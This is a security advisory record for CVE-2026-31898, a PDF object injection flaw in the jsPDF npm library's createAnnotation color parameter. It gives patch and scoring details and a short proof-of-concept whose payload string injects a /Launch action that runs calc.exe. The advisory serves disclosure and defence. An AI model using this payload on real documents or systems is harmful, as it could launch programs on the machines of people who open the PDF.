{"id":"CVE-2026-31898","aliases":["GHSA-7x6v-j9x4-qf24"],"url":"https://o3.security/vulnerability/CVE-2026-31898","summary":"jsPDF has a PDF Object Injection via FreeText color","details":"### Impact\n\nUser control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..\n\n* `createAnnotation`: `color` parameter\n\nExample attack vector:\n\n```js\nimport { jsPDF } from 'jspdf'\n\nconst doc = new jsPDF();\n\nconst payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';\n\ndoc.createAnnotation({\n  type: 'freetext',\n  bounds: { x: 10, y: 10, w: 120, h: 20 },\n  contents: 'hello',\n  color: payload\n});\n\ndoc.save('test.pdf');\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.2.1.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.","published":"2026-03-18T03:03:43.469Z","modified":"2026-09-08T03:46:35.092788853Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},"epss":{"score":0.00356,"percentile":0.29029,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"jspdf","fixedVersion":"4.2.1"}],"fix":{"url":"https://github.com/parallax/jsPDF/commit/4155c4819d5eca284168e51e0e1e81126b4f14b8","label":"parallax/jsPDF@4155c48"},"references":[{"type":"WEB","url":"https://github.com/parallax/jsPDF/blob/b1607a9391d4cd65ea7ade25998aea8345ae1be3/src/modules/annotations.js#L193-L208"},{"type":"WEB","url":"https://github.com/parallax/jsPDF/releases/tag/v4.2.1"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31898.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:7110"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:7128"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-31898"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31898.json"},{"type":"ADVISORY","url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-7x6v-j9x4-qf24"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31898"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448547"},{"type":"FIX","url":"https://github.com/parallax/jsPDF/commit/4155c4819d5eca284168e51e0e1e81126b4f14b8"},{"type":"PACKAGE","url":"https://github.com/parallax/jsPDF"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-08T03:46:35.092788853Z"}}